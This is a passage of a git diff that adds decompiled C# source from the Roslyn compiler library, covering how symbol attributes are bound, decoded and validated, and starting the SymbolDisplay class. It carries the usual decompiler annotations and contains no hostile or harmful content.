(((LocalSymbol)variable).IsConst) + { + return false; + } + break; + case 4: + if (variable is LocalFunctionSymbol localFunctionSymbol) + { + if (localFunctionSymbol.IsStatic) + { + return false; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((object)variable); + default: + throw ExceptionUtilities.UnexpectedValue((object)variable.Kind); + case 8: + break; + } + Symbol containingSymbol2 = variable.ContainingSymbol; + while ((object)containingSymbol2 != null) + { + if ((object)containingSymbol2 == containingSymbol) + { + return false; + } + containingSymbol2 = containingSymbol2.ContainingSymbol; + } + return true; + } + + public abstract void Accept(CSharpSymbolVisitor visitor); + + public abstract TResult Accept(CSharpSymbolVisitor visitor); + + string IFormattable.ToString(string format, IFormatProvider formatProvider) + { + return ToString(); + } + + protected abstract ISymbol CreateISymbol(); + + public virtual ImmutableArray GetAttributes() + { + return ImmutableArray.Empty; + } + + internal virtual AttributeTargets GetAttributeTarget() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_004f: Expected I4, but got Unknown + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_0068: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Invalid comparison between Unknown and I4 + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_0084: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_00b9: Expected I4, but got Unknown + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Invalid comparison between Unknown and I4 + //IL_00d5: Unknown result type (might be due to invalid IL or missing references) + SymbolKind kind = Kind; + switch (kind - 2) + { + case 0: + return AttributeTargets.Assembly; + case 4: + return AttributeTargets.Field; + case 7: + { + MethodKind methodKind = ((MethodSymbol)this).MethodKind; + if ((int)methodKind == 1 || (int)methodKind == 14) + { + return AttributeTargets.Constructor; + } + return AttributeTargets.Method; + } + case 9: + { + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)this; + TypeKind typeKind = namedTypeSymbol.TypeKind; + switch (typeKind - 2) + { + case 0: + return AttributeTargets.Class; + case 1: + return AttributeTargets.Delegate; + case 3: + return AttributeTargets.Enum; + case 5: + return AttributeTargets.Interface; + case 8: + return AttributeTargets.Struct; + case 9: + return AttributeTargets.GenericParameter; + case 10: + throw ExceptionUtilities.UnexpectedValue((object)namedTypeSymbol.TypeKind); + } + break; + } + case 8: + return AttributeTargets.Module; + case 11: + return AttributeTargets.Parameter; + case 13: + return AttributeTargets.Property; + case 3: + return AttributeTargets.Event; + case 15: + return AttributeTargets.GenericParameter; + } + return (AttributeTargets)0; + } + + internal virtual void EarlyDecodeWellKnownAttributeType(NamedTypeSymbol attributeType, AttributeSyntax attributeSyntax) + { + } + + internal virtual void PostEarlyDecodeWellKnownAttributeTypes() + { + } + + internal virtual (CSharpAttributeData?, BoundAttribute?) EarlyDecodeWellKnownAttribute(ref EarlyDecodeWellKnownAttributeArguments arguments) + { + return (null, null); + } + + internal static bool EarlyDecodeDeprecatedOrExperimentalOrObsoleteAttribute(ref EarlyDecodeWellKnownAttributeArguments arguments, out CSharpAttributeData? attributeData, out BoundAttribute? boundAttribute, out ObsoleteAttributeData? obsoleteData) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0092: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol attributeType = arguments.AttributeType; + AttributeSyntax attributeSyntax = arguments.AttributeSyntax; + ObsoleteAttributeKind val; + if (CSharpAttributeData.IsTargetEarlyAttribute(attributeType, attributeSyntax, AttributeDescription.ObsoleteAttribute)) + { + val = (ObsoleteAttributeKind)2; + } + else if (CSharpAttributeData.IsTargetEarlyAttribute(attributeType, attributeSyntax, AttributeDescription.DeprecatedAttribute)) + { + val = (ObsoleteAttributeKind)3; + } + else if (CSharpAttributeData.IsTargetEarlyAttribute(attributeType, attributeSyntax, AttributeDescription.WindowsExperimentalAttribute)) + { + val = (ObsoleteAttributeKind)4; + } + else + { + if (!CSharpAttributeData.IsTargetEarlyAttribute(attributeType, attributeSyntax, AttributeDescription.ExperimentalAttribute)) + { + obsoleteData = null; + attributeData = null; + boundAttribute = null; + return false; + } + val = (ObsoleteAttributeKind)5; + } + (attributeData, boundAttribute) = arguments.Binder.GetAttribute(attributeSyntax, attributeType, null, null, out var generatedDiagnostics); + if (!((AttributeData)attributeData).HasErrors) + { + obsoleteData = ((AttributeData)attributeData).DecodeObsoleteAttribute(val); + if (generatedDiagnostics) + { + attributeData = null; + boundAttribute = null; + } + } + else + { + obsoleteData = null; + attributeData = null; + boundAttribute = null; + } + return true; + } + + protected void DecodeWellKnownAttribute(ref DecodeWellKnownAttributeArguments arguments) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003b: Unknown result type (might be due to invalid IL or missing references) + if (arguments.Attribute.IsTargetAttribute(this, AttributeDescription.CompilerFeatureRequiredAttribute)) + { + DiagnosticBag diagnosticBag = arguments.Diagnostics.DiagnosticBag; + Location location = ((SyntaxNode)arguments.AttributeSyntaxOpt).Location; + object[] array = new object[1]; + AttributeDescription compilerFeatureRequiredAttribute = AttributeDescription.CompilerFeatureRequiredAttribute; + array[0] = ((AttributeDescription)(ref compilerFeatureRequiredAttribute)).FullName; + diagnosticBag.Add(ErrorCode.ERR_ExplicitReservedAttr, location, array); + } + else + { + DecodeWellKnownAttributeImpl(ref arguments); + } + } + + protected virtual void DecodeWellKnownAttributeImpl(ref DecodeWellKnownAttributeArguments arguments) + { + } + + internal virtual void PostDecodeWellKnownAttributes(ImmutableArray boundAttributes, ImmutableArray allAttributeSyntaxNodes, BindingDiagnosticBag diagnostics, AttributeLocation symbolPart, WellKnownAttributeData decodedData) + { + } + + internal bool LoadAndValidateAttributes(OneOrMany> attributesSyntaxLists, ref CustomAttributesBag? lazyCustomAttributesBag, AttributeLocation symbolPart = AttributeLocation.None, bool earlyDecodingOnly = false, Binder? binderOpt = null, Func? attributeMatchesOpt = null, Action? beforeAttributePartBound = null, Action? afterAttributePartBound = null) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + BindingDiagnosticBag diagnostics = BindingDiagnosticBag.GetInstance(); + CSharpCompilation declaringCompilation = DeclaringCompilation; + ImmutableArray binders; + ImmutableArray attributesToBind = GetAttributesToBind(attributesSyntaxLists, symbolPart, diagnostics, declaringCompilation, attributeMatchesOpt, binderOpt, out binders); + int length = attributesToBind.Length; + BoundAttribute[] array3; + ImmutableArray immutableArray2; + WellKnownAttributeData val; + if (length != 0) + { + if (lazyCustomAttributesBag == null) + { + Interlocked.CompareExchange(ref lazyCustomAttributesBag, new CustomAttributesBag(), null); + } + NamedTypeSymbol[] array = new NamedTypeSymbol[length]; + Binder.BindAttributeTypes(binders, attributesToBind, this, array, beforeAttributePartBound, afterAttributePartBound, diagnostics); + bool flag = !earlyDecodingOnly && attributeMatchesOpt == null; + if (flag) + { + for (int i = 0; i < length; i++) + { + if (array[i].IsGenericType) + { + MessageID.IDS_FeatureGenericAttributes.CheckFeatureAvailability(diagnostics, (SyntaxNode)(object)attributesToBind[i]); + } + } + } + ImmutableArray immutableArray = ImmutableArrayExtensions.AsImmutableOrNull(array); + EarlyDecodeWellKnownAttributeTypes(immutableArray, attributesToBind); + PostEarlyDecodeWellKnownAttributeTypes(); + CSharpAttributeData[] array2 = new CSharpAttributeData[length]; + array3 = (flag ? new BoundAttribute[length] : null); + EarlyWellKnownAttributeData earlyDecodedWellKnownAttributeData = EarlyDecodeWellKnownAttributes(binders, immutableArray, attributesToBind, symbolPart, array2, array3); + lazyCustomAttributesBag.SetEarlyDecodedWellKnownAttributeData(earlyDecodedWellKnownAttributeData); + if (earlyDecodingOnly) + { + ((BindingDiagnosticBag)(object)diagnostics).Free(); + return false; + } + Binder.GetAttributes(binders, attributesToBind, immutableArray, array2, array3, beforeAttributePartBound, afterAttributePartBound, diagnostics); + immutableArray2 = ImmutableArrayExtensions.AsImmutableOrNull(array2); + val = ValidateAttributeUsageAndDecodeWellKnownAttributes(binders, attributesToBind, immutableArray2, diagnostics, symbolPart); + lazyCustomAttributesBag.SetDecodedWellKnownAttributeData(val); + } + else + { + if (earlyDecodingOnly) + { + ((BindingDiagnosticBag)(object)diagnostics).Free(); + return false; + } + immutableArray2 = ImmutableArray.Empty; + array3 = null; + val = null; + Interlocked.CompareExchange(ref lazyCustomAttributesBag, CustomAttributesBag.WithEmptyData(), null); + PostEarlyDecodeWellKnownAttributeTypes(); + } + bool result = false; + if (lazyCustomAttributesBag.SetAttributes(immutableArray2)) + { + if (attributeMatchesOpt == null) + { + PostDecodeWellKnownAttributes(immutableArray2, attributesToBind, diagnostics, symbolPart, val); + removeObsoleteDiagnosticsForForwardedTypes(immutableArray2, attributesToBind, ref diagnostics); + RecordPresenceOfBadAttributes(immutableArray2); + if (length != 0) + { + for (int j = 0; j < length; j++) + { + BoundAttribute boundAttribute = array3[j]; + NullableWalker.AnalyzeIfNeeded(binders[j], boundAttribute, boundAttribute.Syntax, ((BindingDiagnosticBag)diagnostics).DiagnosticBag); + } + } + AddDeclarationDiagnostics(diagnostics); + } + result = true; + if (lazyCustomAttributesBag.IsEmpty) + { + lazyCustomAttributesBag = CustomAttributesBag.Empty; + } + } + ((BindingDiagnosticBag)(object)diagnostics).Free(); + return result; + static bool isObsoleteDiagnostic(DiagnosticWithInfo d) + { + if (!d.HasLazyInfo) + { + return d.Info.IsObsoleteDiagnostic(); + } + return d.LazyInfo is LazyObsoleteDiagnosticInfo; + } + void removeObsoleteDiagnosticsForForwardedTypes(ImmutableArray boundAttributes, ImmutableArray immutableArray3, ref BindingDiagnosticBag reference) + { + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + //IL_014b: Unknown result type (might be due to invalid IL or missing references) + //IL_0150: Unknown result type (might be due to invalid IL or missing references) + //IL_016f: Unknown result type (might be due to invalid IL or missing references) + //IL_0174: Unknown result type (might be due to invalid IL or missing references) + //IL_017a: Unknown result type (might be due to invalid IL or missing references) + if (!boundAttributes.IsDefaultOrEmpty && this is SourceAssemblySymbol && !((BindingDiagnosticBag)reference).DiagnosticBag.IsEmptyWithoutResolution && ((BindingDiagnosticBag)reference).DiagnosticBag.AsEnumerableWithoutResolution().OfType().Where(isObsoleteDiagnostic) + .Any()) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + int length2 = immutableArray3.Length; + for (int k = 0; k < length2; k++) + { + CSharpAttributeData cSharpAttributeData = boundAttributes[k]; + if (!((AttributeData)cSharpAttributeData).HasErrors && cSharpAttributeData.IsTargetAttribute(this, AttributeDescription.TypeForwardedToAttribute)) + { + TypedConstant val2 = ((AttributeData)cSharpAttributeData).CommonConstructorArguments[0]; + if (((TypedConstant)(ref val2)).ValueInternal is TypeSymbol) + { + AttributeArgumentListSyntax? argumentList = immutableArray3[k].ArgumentList; + Location val3 = ((argumentList != null) ? ((SyntaxNode)argumentList.Arguments[0].Expression).Location : null); + if (val3 != null) + { + instance.Add(val3); + } + } + } + } + if (instance.Count != 0) + { + HashSet hashSet = new HashSet((IEqualityComparer?)ReferenceEqualityComparer.Instance); + foreach (Diagnostic item in ((BindingDiagnosticBag)reference).DiagnosticBag.AsEnumerableWithoutResolution()) + { + DiagnosticWithInfo val4 = (DiagnosticWithInfo)(object)((item is DiagnosticWithInfo) ? item : null); + if (val4 != null && isObsoleteDiagnostic(val4)) + { + Location location = ((Diagnostic)val4).Location; + Enumerator enumerator2 = instance.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Location current2 = enumerator2.Current; + if (location.SourceTree == current2.SourceTree) + { + TextSpan sourceSpan = current2.SourceSpan; + if (((TextSpan)(ref sourceSpan)).Contains(location.SourceSpan)) + { + hashSet.Add((Diagnostic)(object)val4); + break; + } + } + } + } + } + if (hashSet.Count != 0) + { + BindingDiagnosticBag instance2 = BindingDiagnosticBag.GetInstance(); + ((BindingDiagnosticBag)(object)instance2).AddDependencies((BindingDiagnosticBag)(object)reference, false); + foreach (Diagnostic item2 in ((BindingDiagnosticBag)reference).DiagnosticBag.AsEnumerableWithoutResolution()) + { + if (!hashSet.Contains(item2)) + { + ((BindingDiagnosticBag)instance2).Add(item2); + } + } + ((BindingDiagnosticBag)(object)reference).Free(); + reference = instance2; + } + } + instance.Free(); + } + } + } + + protected ImmutableArray<(CSharpAttributeData, BoundAttribute)> BindAttributes(OneOrMany> attributeDeclarations, Binder? rootBinder) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder<(CSharpAttributeData, BoundAttribute)> instance = ArrayBuilder<(CSharpAttributeData, BoundAttribute)>.GetInstance(); + Enumerator> enumerator = attributeDeclarations.GetEnumerator(); + while (enumerator.MoveNext()) + { + SyntaxList current = enumerator.Current; + Binder attributeBinder = GetAttributeBinder(current, DeclaringCompilation, rootBinder); + Enumerator enumerator2 = current.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Enumerator enumerator3 = enumerator2.Current.Attributes.GetEnumerator(); + while (enumerator3.MoveNext()) + { + AttributeSyntax current2 = enumerator3.Current; + NamedTypeSymbol boundAttributeType = (NamedTypeSymbol)attributeBinder.BindType(current2.Name, BindingDiagnosticBag.Discarded).Type; + (CSharpAttributeData, BoundAttribute) attribute = attributeBinder.GetAttribute(current2, boundAttributeType, null, null, BindingDiagnosticBag.Discarded); + instance.Add(attribute); + } + } + } + return instance.ToImmutableAndFree(); + } + + private void RecordPresenceOfBadAttributes(ImmutableArray boundAttributes) + { + ImmutableArray.Enumerator enumerator = boundAttributes.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (((AttributeData)enumerator.Current).HasErrors) + { + ((SourceModuleSymbol)DeclaringCompilation.SourceModule).RecordPresenceOfBadAttributes(); + break; + } + } + } + + private ImmutableArray GetAttributesToBind(OneOrMany> attributeDeclarationSyntaxLists, AttributeLocation symbolPart, BindingDiagnosticBag diagnostics, CSharpCompilation compilation, Func attributeMatchesOpt, Binder rootBinderOpt, out ImmutableArray binders) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0078: Unknown result type (might be due to invalid IL or missing references) + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_009e: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + IAttributeTargetSymbol attributeTarget = (IAttributeTargetSymbol)this; + ArrayBuilder val = null; + ArrayBuilder val2 = null; + int num = 0; + for (int i = 0; i < attributeDeclarationSyntaxLists.Count; i++) + { + SyntaxList attributeDeclarationSyntaxList = attributeDeclarationSyntaxLists[i]; + if (!attributeDeclarationSyntaxList.Any()) + { + continue; + } + int num2 = num; + Enumerator enumerator = attributeDeclarationSyntaxList.GetEnumerator(); + while (enumerator.MoveNext()) + { + AttributeListSyntax current = enumerator.Current; + if (!MatchAttributeTarget(attributeTarget, symbolPart, current.Target, diagnostics) || !ShouldBindAttributes(current, diagnostics)) + { + continue; + } + if (val == null) + { + val = new ArrayBuilder(); + val2 = new ArrayBuilder(); + } + SeparatedSyntaxList attributes = current.Attributes; + if (attributeMatchesOpt == null) + { + val.AddRange((IEnumerable)(object)attributes); + num += attributes.Count; + continue; + } + Enumerator enumerator2 = attributes.GetEnumerator(); + while (enumerator2.MoveNext()) + { + AttributeSyntax current2 = enumerator2.Current; + if (attributeMatchesOpt(current2)) + { + val.Add(current2); + num++; + } + } + } + if (num != num2) + { + Binder attributeBinder = GetAttributeBinder(attributeDeclarationSyntaxList, compilation, rootBinderOpt); + for (int j = 0; j < num - num2; j++) + { + val2.Add(attributeBinder); + } + } + } + if (val != null) + { + binders = val2.ToImmutableAndFree(); + return val.ToImmutableAndFree(); + } + binders = ImmutableArray.Empty; + return ImmutableArray.Empty; + } + + protected virtual bool ShouldBindAttributes(AttributeListSyntax attributeDeclarationSyntax, BindingDiagnosticBag diagnostics) + { + return true; + } + + private Binder GetAttributeBinder(SyntaxList attributeDeclarationSyntaxList, CSharpCompilation compilation, Binder? rootBinder = null) + { + return new ContextualAttributeBinder(rootBinder ?? compilation.GetBinderFactory(attributeDeclarationSyntaxList.Node.SyntaxTree).GetBinder(attributeDeclarationSyntaxList.Node), this); + } + + private unsafe static bool MatchAttributeTarget(IAttributeTargetSymbol attributeTarget, AttributeLocation symbolPart, AttributeTargetSpecifierSyntax targetOpt, BindingDiagnosticBag diagnostics) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0085: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_009c: Unknown result type (might be due to invalid IL or missing references) + //IL_010c: Unknown result type (might be due to invalid IL or missing references) + //IL_0111: Unknown result type (might be due to invalid IL or missing references) + //IL_0123: Unknown result type (might be due to invalid IL or missing references) + //IL_0128: Unknown result type (might be due to invalid IL or missing references) + //IL_00de: Unknown result type (might be due to invalid IL or missing references) + //IL_00e3: Unknown result type (might be due to invalid IL or missing references) + IAttributeTargetSymbol attributesOwner = attributeTarget.AttributesOwner; + bool flag = symbolPart == AttributeLocation.None && attributesOwner == attributeTarget; + if (targetOpt == null) + { + return flag; + } + if (flag && targetOpt.Identifier.ToAttributeLocation() == AttributeLocation.Module && ((CSharpParseOptions)(object)targetOpt.SyntaxTree.Options).LanguageVersion == LanguageVersion.CSharp1) + { + diagnostics.Add(ErrorCode.WRN_NonECMAFeature, targetOpt.GetLocation(), MessageID.IDS_FeatureModuleAttrLoc); + } + AttributeLocation allowedAttributeLocations = attributesOwner.AllowedAttributeLocations; + AttributeLocation attributeLocation = targetOpt.GetAttributeLocation(); + SyntaxToken identifier; + if (attributeLocation == AttributeLocation.None) + { + if (flag) + { + identifier = targetOpt.Identifier; + Location location = ((SyntaxToken)(ref identifier)).GetLocation(); + object[] array = new object[2]; + identifier = targetOpt.Identifier; + array[0] = ((SyntaxToken)(ref identifier)).ValueText; + array[1] = allowedAttributeLocations.ToDisplayString(); + diagnostics.Add(ErrorCode.WRN_InvalidAttributeLocation, location, array); + } + return false; + } + if ((attributeLocation & allowedAttributeLocations) == 0) + { + if (flag) + { + if (allowedAttributeLocations == AttributeLocation.None) + { + AttributeLocation defaultAttributeLocation = attributeTarget.DefaultAttributeLocation; + if ((uint)(defaultAttributeLocation - 1) > 1u) + { + throw ExceptionUtilities.UnexpectedValue((object)attributeTarget.DefaultAttributeLocation); + } + identifier = targetOpt.Identifier; + diagnostics.Add(ErrorCode.ERR_GlobalAttributesNotAllowed, ((SyntaxToken)(ref identifier)).GetLocation()); + } + else + { + identifier = targetOpt.Identifier; + Location location2 = ((SyntaxToken)(ref identifier)).GetLocation(); + object[] array2 = new object[2]; + identifier = targetOpt.Identifier; + array2[0] = ((object)(*(SyntaxToken*)(&identifier))/*cast due to constrained. prefix*/).ToString(); + array2[1] = allowedAttributeLocations.ToDisplayString(); + diagnostics.Add(ErrorCode.WRN_AttributeLocationOnBadDeclaration, location2, array2); + } + } + return false; + } + if (symbolPart == AttributeLocation.None) + { + return attributeLocation == attributeTarget.DefaultAttributeLocation; + } + return attributeLocation == symbolPart; + } + + internal EarlyWellKnownAttributeData? EarlyDecodeWellKnownAttributes(ImmutableArray binders, ImmutableArray boundAttributeTypes, ImmutableArray attributesToBind, AttributeLocation symbolPart, CSharpAttributeData?[] attributeDataArray, BoundAttribute?[]? boundAttributeArray) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + EarlyWellKnownAttributeBinder earlyWellKnownAttributeBinder = new EarlyWellKnownAttributeBinder(binders[0]); + EarlyDecodeWellKnownAttributeArguments arguments = new EarlyDecodeWellKnownAttributeArguments + { + SymbolPart = symbolPart + }; + for (int i = 0; i < boundAttributeTypes.Length; i++) + { + NamedTypeSymbol namedTypeSymbol = boundAttributeTypes[i]; + if (!namedTypeSymbol.IsErrorType()) + { + if (binders[i] != earlyWellKnownAttributeBinder.Next) + { + earlyWellKnownAttributeBinder = new EarlyWellKnownAttributeBinder(binders[i]); + } + arguments.Binder = earlyWellKnownAttributeBinder; + arguments.AttributeType = namedTypeSymbol; + arguments.AttributeSyntax = attributesToBind[i]; + var (cSharpAttributeData, boundAttribute) = EarlyDecodeWellKnownAttribute(ref arguments); + attributeDataArray[i] = cSharpAttributeData; + if (boundAttributeArray != null) + { + boundAttributeArray[i] = boundAttribute; + } + } + } + if (!arguments.HasDecodedData) + { + return null; + } + return arguments.DecodedData; + } + + private void EarlyDecodeWellKnownAttributeTypes(ImmutableArray attributeTypes, ImmutableArray attributeSyntaxList) + { + for (int i = 0; i < attributeTypes.Length; i++) + { + NamedTypeSymbol namedTypeSymbol = attributeTypes[i]; + if (!namedTypeSymbol.IsErrorType()) + { + EarlyDecodeWellKnownAttributeType(namedTypeSymbol, attributeSyntaxList[i]); + } + } + } + + private WellKnownAttributeData ValidateAttributeUsageAndDecodeWellKnownAttributes(ImmutableArray binders, ImmutableArray attributeSyntaxList, ImmutableArray boundAttributes, BindingDiagnosticBag diagnostics, AttributeLocation symbolPart) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + int length = boundAttributes.Length; + HashSet uniqueAttributeTypes = new HashSet(); + DecodeWellKnownAttributeArguments arguments = new DecodeWellKnownAttributeArguments + { + Diagnostics = (BindingDiagnosticBag)(object)diagnostics, + AttributesCount = length, + SymbolPart = symbolPart + }; + for (int i = 0; i < length; i++) + { + CSharpAttributeData cSharpAttributeData = boundAttributes[i]; + AttributeSyntax attributeSyntax = attributeSyntaxList[i]; + Binder binder = binders[i]; + if (!((AttributeData)cSharpAttributeData).HasErrors && ValidateAttributeUsage(cSharpAttributeData, attributeSyntax, binder.Compilation, symbolPart, diagnostics, uniqueAttributeTypes)) + { + arguments.Attribute = cSharpAttributeData; + arguments.AttributeSyntaxOpt = attributeSyntax; + arguments.Index = i; + DecodeWellKnownAttribute(ref arguments); + } + } + if (!arguments.HasDecodedData) + { + return null; + } + return arguments.DecodedData; + } + + private bool ValidateAttributeUsage(CSharpAttributeData attribute, AttributeSyntax node, CSharpCompilation compilation, AttributeLocation symbolPart, BindingDiagnosticBag diagnostics, HashSet uniqueAttributeTypes) + { + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_00af: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + //IL_00b5: Unknown result type (might be due to invalid IL or missing references) + //IL_00b7: Invalid comparison between Unknown and I4 + //IL_00b9: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Invalid comparison between Unknown and I4 + //IL_00be: Unknown result type (might be due to invalid IL or missing references) + //IL_00c1: Invalid comparison between Unknown and I4 + NamedTypeSymbol attributeClass = attribute.AttributeClass; + AttributeUsageInfo attributeUsageInfo = attributeClass.GetAttributeUsageInfo(); + if (!uniqueAttributeTypes.Add(attributeClass.OriginalDefinition) && !((AttributeUsageInfo)(ref attributeUsageInfo)).AllowMultiple) + { + diagnostics.Add(ErrorCode.ERR_DuplicateAttribute, ((SyntaxNode)node.Name).Location, node.GetErrorDisplayName()); + return false; + } + AttributeTargets attributeTargets = ((symbolPart != AttributeLocation.Return) ? GetAttributeTarget() : AttributeTargets.ReturnValue); + if ((attributeTargets & ((AttributeUsageInfo)(ref attributeUsageInfo)).ValidTargets) == 0) + { + diagnostics.Add(ErrorCode.ERR_AttributeOnBadSymbolType, ((SyntaxNode)node.Name).Location, node.GetErrorDisplayName(), ((AttributeUsageInfo)(ref attributeUsageInfo)).GetValidTargetsErrorArgument()); + return false; + } + if (attribute.IsSecurityAttribute(compilation)) + { + SymbolKind kind = Kind; + if ((int)kind != 2 && (int)kind != 9 && (int)kind != 11) + { + diagnostics.Add(ErrorCode.ERR_SecurityAttributeInvalidTarget, ((SyntaxNode)node.Name).Location, node.GetErrorDisplayName()); + return false; + } + } + return true; + } + + internal void ForceCompleteObsoleteAttribute() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)ObsoleteKind == 1) + { + GetAttributes(); + } + ContainingSymbol?.ForceCompleteObsoleteAttribute(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SymbolDisplay.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SymbolDisplay.cs new file mode 100644 index 0000000..2ad421c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SymbolDisplay.cs @@ -0,0 +1,201 @@ +using System; +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis.CSharp; + +public static class SymbolDisplay +{ + public static string ToDisplayString(ISymbol symbol, SymbolDisplayFormat? format = null) + { + format = format ?? SymbolDisplayFormat.CSharpErrorMessageFormat; + return ToDisplayString(symbol, null, -1, format, minimal: false); + } + + public static string ToDisplayString(ITypeSymbol symbol, NullableFlowState nullableFlowState, SymbolDisplayFormat? format = null) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return ToDisplayString(symbol, NullableFlowStateExtensions.ToAnnotation(nullableFlowState), format); + } + + public static string ToDisplayString(ITypeSymbol symbol, NullableAnnotation nullableAnnotation, SymbolDisplayFormat? format = null) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + format = format ?? SymbolDisplayFormat.CSharpErrorMessageFormat; + symbol = symbol.WithNullableAnnotation(nullableAnnotation); + return ToDisplayString((ISymbol)(object)symbol, null, -1, format, minimal: false); + } + + private static string ToDisplayString(ISymbol symbol, SemanticModel? semanticModelOpt, int positionOpt, SymbolDisplayFormat format, bool minimal) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + PopulateDisplayParts(instance, symbol, semanticModelOpt, positionOpt, format, minimal); + string result = SymbolDisplayExtensions.ToDisplayString(instance); + instance.Free(); + return result; + } + + public static string ToMinimalDisplayString(ISymbol symbol, SemanticModel semanticModel, int position, SymbolDisplayFormat? format = null) + { + if (format == null) + { + format = SymbolDisplayFormat.MinimallyQualifiedFormat; + } + return ToDisplayString(symbol, semanticModel, position, format, minimal: true); + } + + public static string ToMinimalDisplayString(ITypeSymbol symbol, NullableFlowState nullableFlowState, SemanticModel semanticModel, int position, SymbolDisplayFormat? format = null) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return ToMinimalDisplayString(symbol, NullableFlowStateExtensions.ToAnnotation(nullableFlowState), semanticModel, position, format); + } + + public static string ToMinimalDisplayString(ITypeSymbol symbol, NullableAnnotation nullableAnnotation, SemanticModel semanticModel, int position, SymbolDisplayFormat? format = null) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + if (format == null) + { + format = SymbolDisplayFormat.MinimallyQualifiedFormat; + } + symbol = symbol.WithNullableAnnotation(nullableAnnotation); + return ToDisplayString((ISymbol)(object)symbol, semanticModel, position, format, minimal: true); + } + + public static ImmutableArray ToDisplayParts(ISymbol symbol, SymbolDisplayFormat? format = null) + { + format = format ?? SymbolDisplayFormat.CSharpErrorMessageFormat; + return ToDisplayParts(symbol, null, -1, format, minimal: false); + } + + public static ImmutableArray ToDisplayParts(ITypeSymbol symbol, NullableFlowState nullableFlowState, SymbolDisplayFormat? format = null) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + format = format ?? SymbolDisplayFormat.CSharpErrorMessageFormat; + return ToDisplayParts(symbol, nullableFlowState, null, -1, format, minimal: false); + } + + public static ImmutableArray ToDisplayParts(ITypeSymbol symbol, NullableAnnotation nullableAnnotation, SymbolDisplayFormat? format = null) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + 